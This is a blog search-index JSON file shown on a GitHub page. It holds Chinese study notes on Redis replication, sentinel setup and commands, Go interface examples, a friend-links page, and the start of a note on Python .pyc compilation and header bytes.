-
Notifications
You must be signed in to change notification settings - Fork 0
/
index.json
1 lines (1 loc) · 69.1 KB
/
index.json
1
[{"categories":["Redis"],"content":"Redis主从复制、哨兵、缓存穿透、击穿与雪崩理解学习","date":"2024-07-12","objectID":"/posts/redis%E8%BF%9B%E9%98%B6%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/","tags":["Redis"],"title":"Redis进阶学习笔记","uri":"/posts/redis%E8%BF%9B%E9%98%B6%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"categories":["Redis"],"content":"主从模式基本概念\r1️⃣ 数据的复制是单向的,只能由主节点到从节点 2️⃣ 主从复制是Redis高可用的基础,还是哨兵和集群能够实施的基础 3️⃣ 主节点提供写服务,由从节点提供读服务(即写Redis数据时应用连接主节点,读Redis数据时应用连接从节点) 4️⃣ 在未开启哨兵模式下,如果从机断开重连,不会自动连接上主机 5️⃣ 从机只能读,不能写 ","date":"2024-07-12","objectID":"/posts/redis%E8%BF%9B%E9%98%B6%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/:0:0","tags":["Redis"],"title":"Redis进阶学习笔记","uri":"/posts/redis%E8%BF%9B%E9%98%B6%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"categories":["Redis"],"content":"基本步骤\r","date":"2024-07-12","objectID":"/posts/redis%E8%BF%9B%E9%98%B6%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/:1:0","tags":["Redis"],"title":"Redis进阶学习笔记","uri":"/posts/redis%E8%BF%9B%E9%98%B6%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"categories":["Redis"],"content":"配置文件复制\rcp redis_1.conf redis_2.conf ","date":"2024-07-12","objectID":"/posts/redis%E8%BF%9B%E9%98%B6%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/:1:1","tags":["Redis"],"title":"Redis进阶学习笔记","uri":"/posts/redis%E8%BF%9B%E9%98%B6%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"categories":["Redis"],"content":"1.1修改从主机配置文件(redis2.conf)\rport 1234 pid name logfile dump.rdb ","date":"2024-07-12","objectID":"/posts/redis%E8%BF%9B%E9%98%B6%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/:1:2","tags":["Redis"],"title":"Redis进阶学习笔记","uri":"/posts/redis%E8%BF%9B%E9%98%B6%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"categories":["Redis"],"content":"1.2启动并且查看运行情况\rredis-server conf文件 ps -ef|grep redis ","date":"2024-07-12","objectID":"/posts/redis%E8%BF%9B%E9%98%B6%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/:1:3","tags":["Redis"],"title":"Redis进阶学习笔记","uri":"/posts/redis%E8%BF%9B%E9%98%B6%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"categories":["Redis"],"content":"命令参数\rinfo replication #查看当前Redis信息 slaveof 127.0.0.1 6379 # 确定这个库为主机 slaveof no one #让自己变成主机,但是从机需要手动连接到此主机 哨兵模式基本概念\r1️⃣ 哨兵是一个独立的 进程 ,作为进程,它会独立运行。其原理是哨兵通过发送命令,等待Redis服务器响应,从而监控运行的多个Redis实例。 2️⃣ 如果主机宕机,从机立刻选出一个主机,如果之前主机回来只能当从机,哨兵的默认配置时间时 30 秒。 ## 基本步骤 ","date":"2024-07-12","objectID":"/posts/redis%E8%BF%9B%E9%98%B6%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/:2:0","tags":["Redis"],"title":"Redis进阶学习笔记","uri":"/posts/redis%E8%BF%9B%E9%98%B6%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"categories":["Redis"],"content":"添加哨兵配置文件 sentinel.conf 内容为:\r#服务监听地址,用于客户端连接,默认本机地址 bind 0.0.0.0 #是否已后台daemon方式启动 daemonize yes #安全保护模式 protected-mode no #哨兵端口 port 26380 #日志文件路径 logfile \"/myredis/sentinel26380.log\" #pid文件路径 pidfile /var/run/redis-sentinel26380.pid #工作目录 dir /myredis #设置要监控的master服务器,quorum表示最少有几个哨兵认可客观下线,同意故障迁移的法定票数 sentinel monitor mymaster 192.168.10.110 6379 2 #master设置了密码,连接master服务的密码 sentinel auth-pass mymaster 123456 ","date":"2024-07-12","objectID":"/posts/redis%E8%BF%9B%E9%98%B6%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/:2:1","tags":["Redis"],"title":"Redis进阶学习笔记","uri":"/posts/redis%E8%BF%9B%E9%98%B6%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"categories":["Redis"],"content":"启动哨兵\rredis-sentinel sentinel.conf --sentinel \u0026 ","date":"2024-07-12","objectID":"/posts/redis%E8%BF%9B%E9%98%B6%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/:2:2","tags":["Redis"],"title":"Redis进阶学习笔记","uri":"/posts/redis%E8%BF%9B%E9%98%B6%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"categories":["Redis"],"content":"故障转移\rℹ️ 选主过程: 1️⃣ 选择优先级最高的节点,通过sentinel配置文件中的replica-priority配置项,这个参数越小,表示优先级越高 2️⃣ 如果第一步中的优先级相同,选择offset最大的,offset表示主节点向从节点同步数据的偏移量,越大表示同步的数据越多 3️⃣ 如果第二步offset也相同,选择run id较小的 ","date":"2024-07-12","objectID":"/posts/redis%E8%BF%9B%E9%98%B6%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/:2:3","tags":["Redis"],"title":"Redis进阶学习笔记","uri":"/posts/redis%E8%BF%9B%E9%98%B6%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"categories":["Redis"],"content":"Redis-cli 交互命令参数\r连接参数: -h \u003chostname\u003e 指定 Redis 服务器的主机名或 IP 地址。 -p \u003cport\u003e 指定 Redis 服务器的端口号。 -a \u003cpassword\u003e 提供密码进行身份验证。 -n \u003cdbnum\u003e 选择特定的数据库(默认为 0)。 SSL/TLS 参数: --tls 启用 SSL/TLS 加密连接。 --cacert \u003cfile\u003e 指定信任的 CA 证书文件。 --cert \u003cfile\u003e 和 --key \u003cfile\u003e 指定客户端证书和私钥。 输入和输出参数: -x 将标准输入视为命令的最后一个参数。 --raw 和 --no-raw 分别用于强制原始输出或人类可读输出。(中文) 其他特殊命令: PING 检查 Redis 服务器是否响应。 INFO 显示服务器的各种信息和统计数据。 事务\r","date":"2024-07-11","objectID":"/posts/redis%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E4%BA%8C/:1:0","tags":["Redis"],"title":"Redis基础学习笔记(二)","uri":"/posts/redis%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E4%BA%8C/"},{"categories":["Redis"],"content":"事务的特性\r1️⃣ 原子性(atomicity)。一个事务是一个不可分割的工作单位,事务中包括的操作要么都做,要么都不做。 2️⃣ 一致性(consistency)。事务必须是使数据库从一个一致性状态变到另一个一致性状态。一致性与原子性是密切相关的。 3️⃣ 隔离性(isolation)。一个事务的执行不能被其他事务干扰。即一个事务内部的操作及使用的数据对并发的其他事务是隔离的,并发执行的各个事务之间不能互相干扰。 4️⃣ 持久性(durability)。持久性也称永久性(permanence),指一个事务一旦提交,它对数据库中数据的改变就应该是永久性的。接下来的其他操作或故障不应该对其有任何影响。 #️⃣在Redis事务没有没有隔离级别的概念! #️⃣在Redis单条命令式保证原子性的,但是事务不保证原子性! ","date":"2024-07-11","objectID":"/posts/redis%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E4%BA%8C/:2:0","tags":["Redis"],"title":"Redis基础学习笔记(二)","uri":"/posts/redis%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E4%BA%8C/"},{"categories":["Redis"],"content":"实现事务\rmulti # 开启事务\rexec # 执行事务\rdiscard # 放弃事务\r### 编译时报错,所有都不会被执行(一开始就报错)\r### 运行时报错,其他命令正常执行乐观锁\r","date":"2024-07-11","objectID":"/posts/redis%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E4%BA%8C/:3:0","tags":["Redis"],"title":"Redis基础学习笔记(二)","uri":"/posts/redis%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E4%BA%8C/"},{"categories":["Redis"],"content":"乐观锁的特性\r1️⃣ 当程序中可能出现并发的情况时,就需要保证在并发情况下数据的准确性,以此确保当前用户和其他用户一起操作时,所得到的结果和他单独操作时的结果是一样的。 2️⃣ 没有做好并发控制,就可能导致脏读、幻读和不可重复读等问题。 watch key #监视锁\runwatch key #取消监视","date":"2024-07-11","objectID":"/posts/redis%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E4%BA%8C/:4:0","tags":["Redis"],"title":"Redis基础学习笔记(二)","uri":"/posts/redis%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E4%BA%8C/"},{"categories":["Redis"],"content":"Redis 的八种数据结构\r","date":"2024-07-10","objectID":"/posts/redis%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E4%B8%80/:0:0","tags":["Redis"],"title":"Redis基础学习笔记(一)","uri":"/posts/redis%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E4%B8%80/"},{"categories":["Redis"],"content":"String 字符串\r1️⃣ 支持二进制(可存储图片或序列化对象),单个最大512MB。 2️⃣ 一个Key对应一个Value,并且Set之后会覆盖之前所存储的值。 基本语法: set key value getrange key start end # 字符串值的子字符(单个字符) exists key # 判断存在返回1,不存在则返回0 append key value # 追加到value到原值之后 strlen key # 查看字符串长度 incr key 10 # 自增1 incrby key 10 自增10 decr key # 自减1 decrby key 10 自减10 setrange key start vakue # 在Start位置替换为value setnx key value #如果键存在,则不设置值 mset k1 v1 k2 v2 #设置多个键值 mget k1 k2 #获取多个值 msetnx k1 v1 k2 v2 #要么都成功设置,要么都失败 getset key value #如果已存在Key,先显示旧value再进行替换,如果没有则直接写入 mset a:1:name Scan # 效果如下图所示 键值过期: ttl key #查询过期时间 -1永不过期 -2已过期 expire key time #设置key的过期时间,前提是Key已存在 setex key time value #设置key的过期时间,可以同时设置键值 ","date":"2024-07-10","objectID":"/posts/redis%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E4%B8%80/:1:0","tags":["Redis"],"title":"Redis基础学习笔记(一)","uri":"/posts/redis%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E4%B8%80/"},{"categories":["Redis"],"content":"Hash对象\rℹ️ 是一个String类型的field和value的映射表,适合当对象 hset key field value # 设置单个属性 hmset key field value field value # 设置多个属性 hget hgetall #一个是查询单个 一个是查询所有 hdel key field #删除hash中指定的值 hlen key #获取长度 hexists key field #判断值是否存在 hvals #获取所有值 获取所有键 hkey #获取所有键 hincrby key field 值 #自增自减操作 填数字 hsetnx #存在则不添加 ","date":"2024-07-10","objectID":"/posts/redis%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E4%B8%80/:2:0","tags":["Redis"],"title":"Redis基础学习笔记(一)","uri":"/posts/redis%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E4%B8%80/"},{"categories":["Redis"],"content":"无序集合\rℹ️ 元素没有重复的,都是单个的 sadd key 元素 #可添加多个元素 scard key #查看元素长度(个数) smembers key #查看元素 srem key member #移除指定元素(可多个) srandmember key num #随机抽取num个元素,不填写个数默认抽取一个并且不显示序号 spop key #删除随机元素 smove key newkey value #启动value到newkey #交集 并集 差集 sdiff k1 k2 # 求差集: k1有的元素、k2中却没有的元素 sinter k1 k2 # 求交集: k1,k2都有的元素 sunion k1 k2 k3# 求并集(包括重复的): k1 k2 k3 合起来的元素 ","date":"2024-07-10","objectID":"/posts/redis%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E4%B8%80/:3:0","tags":["Redis"],"title":"Redis基础学习笔记(一)","uri":"/posts/redis%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E4%B8%80/"},{"categories":["Redis"],"content":"有序集合\rzadd key score value #添加值、score值 zrange key #查询值 zrangebyscore key -inf +inf #根据value的score值从小到大排列 zrevrabge key #根据value的score值从大到小排列 zrangebyscore key -inf +inf withscores #查询所有的值包括key zcard key #查询集合里的元素个数 zrem key 元素# 移除指定元素、可多个 zcount key min max #如果在min 或者 max 前添加 ( 则为闭区间 同一个元素可以有多个分数,每个分数对应一个不同的排序位置 ","date":"2024-07-10","objectID":"/posts/redis%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E4%B8%80/:4:0","tags":["Redis"],"title":"Redis基础学习笔记(一)","uri":"/posts/redis%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E4%B8%80/"},{"categories":["Redis"],"content":"列表\rlpush key value #左插入数据(可以多个) rpush key value #右插入数据(可以多个) lpop #从最左边移除数据 rpop #从最右边移除数据 lrange key start end #end为-1时 查所有 lindex key 0 #查询指定下标元素 llen key #获取指定列表的元素长度 lrem key 数量 value #当数量为0时,删除所有value ltrim key start end #截取元素,下标从0开始 rpoplpush key newkey #移除key的最后一个元素,到newkey里 lset key 下标值 newvalue #更新/替换 下标所在的元素 为 newvalue linsert key after/before value newvalue # 在key的value之前或者之后 添加newvalue ","date":"2024-07-10","objectID":"/posts/redis%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E4%B8%80/:5:0","tags":["Redis"],"title":"Redis基础学习笔记(一)","uri":"/posts/redis%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E4%B8%80/"},{"categories":["Redis"],"content":"地理位置\rℹ️ 有效的经度从-180度到180度,有效的纬度从-85.05112878度到85.05112878度 ℹ️ 本质上是有序集合数据类型,官方做了二次包装 geoadd 索引值 经度 纬度 地点 #geoadd city 经度 维度 \"漂亮国\" geopos city Beijing Shanghai #查看指定城市的经纬度信息,支持多个 geodis city Beijing Shanghai (可加单位 默认单位米) # 计算两点距离 georadius city 经度 纬度 距离 (可加单位 默认单位米) # 查询指定坐标范围的城市 可加参数:1.withcoord # 返回范围内城市的元素坐标 2.withdist #返回与中心店的距离 3.count #限制返回多少个城市数量 georadiusbymember city 地点 距离 (可加单位 默认单位米) #查询指定城市地点的范围地点城市 ","date":"2024-07-10","objectID":"/posts/redis%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E4%B8%80/:6:0","tags":["Redis"],"title":"Redis基础学习笔记(一)","uri":"/posts/redis%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E4%B8%80/"},{"categories":["Redis"],"content":"位图(Bitmap)\rℹ️ 只有 0 和 1 两 个 状 态 setbit key offset 0/1 #设置值为0或1 getbit key offset #查询offset是否为1 bitcount key #默认查询多少个是1 在上下学、在线状态的场景下实用。 ","date":"2024-07-10","objectID":"/posts/redis%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E4%B8%80/:7:0","tags":["Redis"],"title":"Redis基础学习笔记(一)","uri":"/posts/redis%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E4%B8%80/"},{"categories":["Redis"],"content":"基数(数据集)\rℹ️ 占用的内存是固定的,2^64个元素,相当于只需要12kb的内存即可。效率极高! pfadd key element #添加数据集 pfcount key #统计数据集的元素个数 pfmegre k1 k2 #合并并且去重 ","date":"2024-07-10","objectID":"/posts/redis%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E4%B8%80/:8:0","tags":["Redis"],"title":"Redis基础学习笔记(一)","uri":"/posts/redis%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E4%B8%80/"},{"categories":["Golang"],"content":"Golang的接口是一种抽象的类型\rGo语言中的接口(interface)是一组方法签名的集合,是一种抽象类型。接口定义了方法,但没有实现,而是由具体的类型(struct)实现这些方法,因此接口是一种实现多态的机制。 ","date":"2024-06-18","objectID":"/posts/golang%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/:1:0","tags":["Golang"],"title":"Golang基础学习笔记","uri":"/posts/golang%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"categories":["Golang"],"content":"接口定义\rtype 接口名称er interface{ func(arg1 类型,arg2 类型2) 返回值 func(arg3 类型3) 返回值3 } //最好以er结尾表示 不加func也可以 ","date":"2024-06-18","objectID":"/posts/golang%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/:1:1","tags":["Golang"],"title":"Golang基础学习笔记","uri":"/posts/golang%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"categories":["Golang"],"content":"结构体定义\rtype 结构体名称 struct{ Name 类型(string、int、bool等) } ","date":"2024-06-18","objectID":"/posts/golang%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/:1:2","tags":["Golang"],"title":"Golang基础学习笔记","uri":"/posts/golang%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"categories":["Golang"],"content":"典型Demo\rpackage main import ( \"fmt\" ) // Worker 接口定义了一个方法 Work type Worker interface { Work() } // programmer 结构体代表一个程序员,定义数据类型 type programmer struct { Java string Linux string Python string } // Work 实现了 Worker 接口的方法 func (p *programmer) Work() { // 输出程序员的类型和使用的编程语言 fmt.Printf(\"小李正在学习%s\\n\", p.Java) fmt.Printf(\"小张正在学习%s\\n\", p.Linux) fmt.Printf(\"小王正在学习%s\\n\", p.Python) } func main() { // 创建一个 programmer 实例,并初始化字段 myProgrammer := programmer{ Java: \"Java语言\", Linux: \"Linux运维\", Python: \"Python语言\", } var Myworker Worker = \u0026myProgrammer // 接口变量赋值也叫实现结构体 Myworker.Work() //调用接口方法 } 信息\r以 上 代 码 作 为 基 础 进 行 拓 展\r","date":"2024-06-18","objectID":"/posts/golang%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/:1:3","tags":["Golang"],"title":"Golang基础学习笔记","uri":"/posts/golang%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"categories":["Golang"],"content":"一个类型实现多个接口\rpackage main import ( \"fmt\" \"time\" ) // Worker 接口定义了一个方法 Work type Worker interface { Work() } type Stoper interface { Stop() } // programmer 结构体代表一个程序员 type programmer struct { Java string Linux string Python string } // Work 实现了 Worker 接口的方法 func (p *programmer) Work() { //指针接收者可以修改字段值 // 输出程序员的类型和使用的编程语言 fmt.Printf(\"小李正在学习%s\\n\", p.Java) fmt.Printf(\"小张正在学习%s\\n\", p.Linux) fmt.Printf(\"小王正在学习%s\\n\", p.Python) } func (p programmer) Stop() { //值接收者不修改字段值 fmt.Printf(\"小李已经停止学习%s\\n\", p.Java) fmt.Printf(\"小张已经停止学习%s\\n\", p.Linux) fmt.Printf(\"小王已经停止学习%s\\n\", p.Python) } func main() { // 创建一个 programmer 实例,并初始化字段 myProgrammer := programmer{ Java: \"Java语言\", Linux: \"Linux运维\", Python: \"Python语言\", } x1 := programmer{} // 接口变量赋值也叫实现结构体 var Myworker Worker = \u0026myProgrammer // 接口变量赋值也叫实现结构体 Myworker.Work() //调用接口方法 time.Sleep(time.Second * 2) x1.Stop() } ","date":"2024-06-18","objectID":"/posts/golang%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/:1:4","tags":["Golang"],"title":"Golang基础学习笔记","uri":"/posts/golang%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"categories":["Golang"],"content":"多个类型实现一个接口\rpackage main import ( \"fmt\" ) // Worker 接口定义了一个方法 Work type Worker interface { Work() } // programmer 结构体代表一个程序员 type programmer struct { Python string } type older struct { age int } func (p programmer) Work() { fmt.Printf(\"%s的程序员正在工作\", p.Python) fmt.Println(\"\") //换行 } func (o older) Work() { fmt.Printf(\"%d岁的程序员正在工作\", o.age) } func main() { // 创建一个 programmer 实例,并初始化字段 myProgrammer := programmer{ Python: \"Python\", } o := older{age: 20} var Myworker Worker = \u0026myProgrammer // 接口变量赋值也叫实现结构体 Myworker.Work() //调用接口方法 o.Work() } ","date":"2024-06-18","objectID":"/posts/golang%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/:1:5","tags":["Golang"],"title":"Golang基础学习笔记","uri":"/posts/golang%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"categories":["Golang"],"content":"接口的嵌套\rpackage main import ( \"fmt\" ) // Worker 接口定义了一个方法 Work type Worker interface { Work() } type Moyuer interface { Moyu() } type Peoler interface { Worker Moyuer } type Computer struct { something string } func (c *Computer) Work() { fmt.Printf(\"%s都要工作\\n\", c.something) } func (c *Computer) Moyu() { fmt.Printf(\"%s也要摸鱼\\n\", c.something) } func main() { sth := Computer{something: \"程序员\"} x := \u0026sth x.Work() x.Moyu() } ","date":"2024-06-18","objectID":"/posts/golang%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/:1:6","tags":["Golang"],"title":"Golang基础学习笔记","uri":"/posts/golang%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"categories":["Golang"],"content":"空接口\r信息\r空接口类型的变量可以存储任意类型的变量。\rpackage main import ( \"fmt\" ) func main() { var x interface{} v1 := \"程序猿\" v2 := 200 v3 := true x = v1 fmt.Printf(\"%T类型 : %v\\n\", x, x) x = v2 fmt.Printf(\"%T类型 : %v\\n\", x, x) x = v3 fmt.Printf(\"%T类型 : %v\\n\", x, x) } 信息\r因为可以存储任意类型的变量,所以我们把他当做方法中的参数使用。\rpackage main import ( \"fmt\" ) func test(w interface{}) { fmt.Printf(\"Hello %s\", w) } func main() { words := \"Golang\" test(words) } //Hello Golang ","date":"2024-06-18","objectID":"/posts/golang%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/:1:7","tags":["Golang"],"title":"Golang基础学习笔记","uri":"/posts/golang%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"categories":["Golang"],"content":"类型断言\r信息\r类型断言的作用就是判断空接口的值和值的类型\rpackage main import ( \"fmt\" ) func main() { var words interface{} = \"Golang\" switch value := words.(type) { //语法格式为:x.(T) case string: fmt.Printf(\"String类型,值为%v\", value) case int: fmt.Printf(\"Int类型,值为%v\", value) case bool: fmt.Printf(\"Bool类型,值为%v\", value) } } ","date":"2024-06-18","objectID":"/posts/golang%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/:1:8","tags":["Golang"],"title":"Golang基础学习笔记","uri":"/posts/golang%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"categories":null,"content":"'s friends","date":"2024-05-23","objectID":"/friends/","tags":null,"title":"互联网的朋友们","uri":"/friends/"},{"categories":null,"content":"Base info\r- nickname: Scan's Blog avatar: https://fastly.jsdelivr.net/gh/hack-scan/Blog-pic/posts/logo.png url: https://www.scan.work/ description: Scan's Blog ","date":"2024-05-23","objectID":"/friends/:1:0","tags":null,"title":"互联网的朋友们","uri":"/friends/"},{"categories":null,"content":"Friendly Reminder\rNotice\r1.如果您想交换链接,请按以上格式留言。(仅限个人非商业博客/网站) 2.网站故障、停止维护和不当内容可能会被取消链接! 3.那些不尊重他人劳动成果、无来源转载或恶意行为的网站,请不要前来交流。 ","date":"2024-05-23","objectID":"/friends/:2:0","tags":null,"title":"互联网的朋友们","uri":"/friends/"},{"categories":["Python","加密与解密"],"content":"序列化混淆压缩、反序列化操作学习记录","date":"2024-05-15","objectID":"/posts/python%E4%BB%A3%E7%A0%81%E5%BA%8F%E5%88%97%E5%8C%96%E6%B7%B7%E6%B7%86%E5%8E%8B%E7%BC%A9%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/","tags":["加密与解密","序列化"],"title":"Python代码序列化混淆压缩学习记录","uri":"/posts/python%E4%BB%A3%E7%A0%81%E5%BA%8F%E5%88%97%E5%8C%96%E6%B7%B7%E6%B7%86%E5%8E%8B%E7%BC%A9%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/"},{"categories":["Python","加密与解密"],"content":"Python代码序列化混淆压缩学习记录\r","date":"2024-05-15","objectID":"/posts/python%E4%BB%A3%E7%A0%81%E5%BA%8F%E5%88%97%E5%8C%96%E6%B7%B7%E6%B7%86%E5%8E%8B%E7%BC%A9%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/:0:0","tags":["加密与解密","序列化"],"title":"Python代码序列化混淆压缩学习记录","uri":"/posts/python%E4%BB%A3%E7%A0%81%E5%BA%8F%E5%88%97%E5%8C%96%E6%B7%B7%E6%B7%86%E5%8E%8B%E7%BC%A9%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/"},{"categories":["Python","加密与解密"],"content":"一、了解Pyc文件\r","date":"2024-05-15","objectID":"/posts/python%E4%BB%A3%E7%A0%81%E5%BA%8F%E5%88%97%E5%8C%96%E6%B7%B7%E6%B7%86%E5%8E%8B%E7%BC%A9%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/:1:0","tags":["加密与解密","序列化"],"title":"Python代码序列化混淆压缩学习记录","uri":"/posts/python%E4%BB%A3%E7%A0%81%E5%BA%8F%E5%88%97%E5%8C%96%E6%B7%B7%E6%B7%86%E5%8E%8B%E7%BC%A9%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/"},{"categories":["Python","加密与解密"],"content":"1. Pyc 文件的作用:\r加载的速度提高、性能提高、文件 保持加密的状态,防止源码泄露 不同版本编译后的pyc文件是不同的,不同版本不能放在一起运行 Pyc文件结构: ","date":"2024-05-15","objectID":"/posts/python%E4%BB%A3%E7%A0%81%E5%BA%8F%E5%88%97%E5%8C%96%E6%B7%B7%E6%B7%86%E5%8E%8B%E7%BC%A9%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/:1:1","tags":["加密与解密","序列化"],"title":"Python代码序列化混淆压缩学习记录","uri":"/posts/python%E4%BB%A3%E7%A0%81%E5%BA%8F%E5%88%97%E5%8C%96%E6%B7%B7%E6%B7%86%E5%8E%8B%E7%BC%A9%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/"},{"categories":["Python","加密与解密"],"content":"2. Pyc 生成的方法:\r自动化生成:py文件里只要包含import,就会自动生成在__pycache__目录下,含版本号 使用生成函数 py_complie.complie(\"demo.py\") 文件夹下的Py文件编译为Pyc文件使用函数: compileall.compile_dir(r'路径) 通过 Python Shell 命令生成 python3 -m py_compile md5.py python3 -O -m py_compile md5.py ","date":"2024-05-15","objectID":"/posts/python%E4%BB%A3%E7%A0%81%E5%BA%8F%E5%88%97%E5%8C%96%E6%B7%B7%E6%B7%86%E5%8E%8B%E7%BC%A9%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/:1:2","tags":["加密与解密","序列化"],"title":"Python代码序列化混淆压缩学习记录","uri":"/posts/python%E4%BB%A3%E7%A0%81%E5%BA%8F%E5%88%97%E5%8C%96%E6%B7%B7%E6%B7%86%E5%8E%8B%E7%BC%A9%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/"},{"categories":["Python","加密与解密"],"content":"二 、混淆与反序列化Pyc文件\r","date":"2024-05-15","objectID":"/posts/python%E4%BB%A3%E7%A0%81%E5%BA%8F%E5%88%97%E5%8C%96%E6%B7%B7%E6%B7%86%E5%8E%8B%E7%BC%A9%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/:2:0","tags":["加密与解密","序列化"],"title":"Python代码序列化混淆压缩学习记录","uri":"/posts/python%E4%BB%A3%E7%A0%81%E5%BA%8F%E5%88%97%E5%8C%96%E6%B7%B7%E6%B7%86%E5%8E%8B%E7%BC%A9%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/"},{"categories":["Python","加密与解密"],"content":"1. Pyc 混淆的方法:\rpyc = Path(\"__pycache__/demo.cpython-311.pyc\").read_bytes() # 显示 pyc 文件的头部信息 magic = pyc[:4] zero = pyc[4:8] timestamp = pyc[8:12] size = pyc[12:16] # 以 16 进制显示 print('pythons3.11 magic:', bytes(magic).hex(sep=' ').upper()) print('zero:', zero) 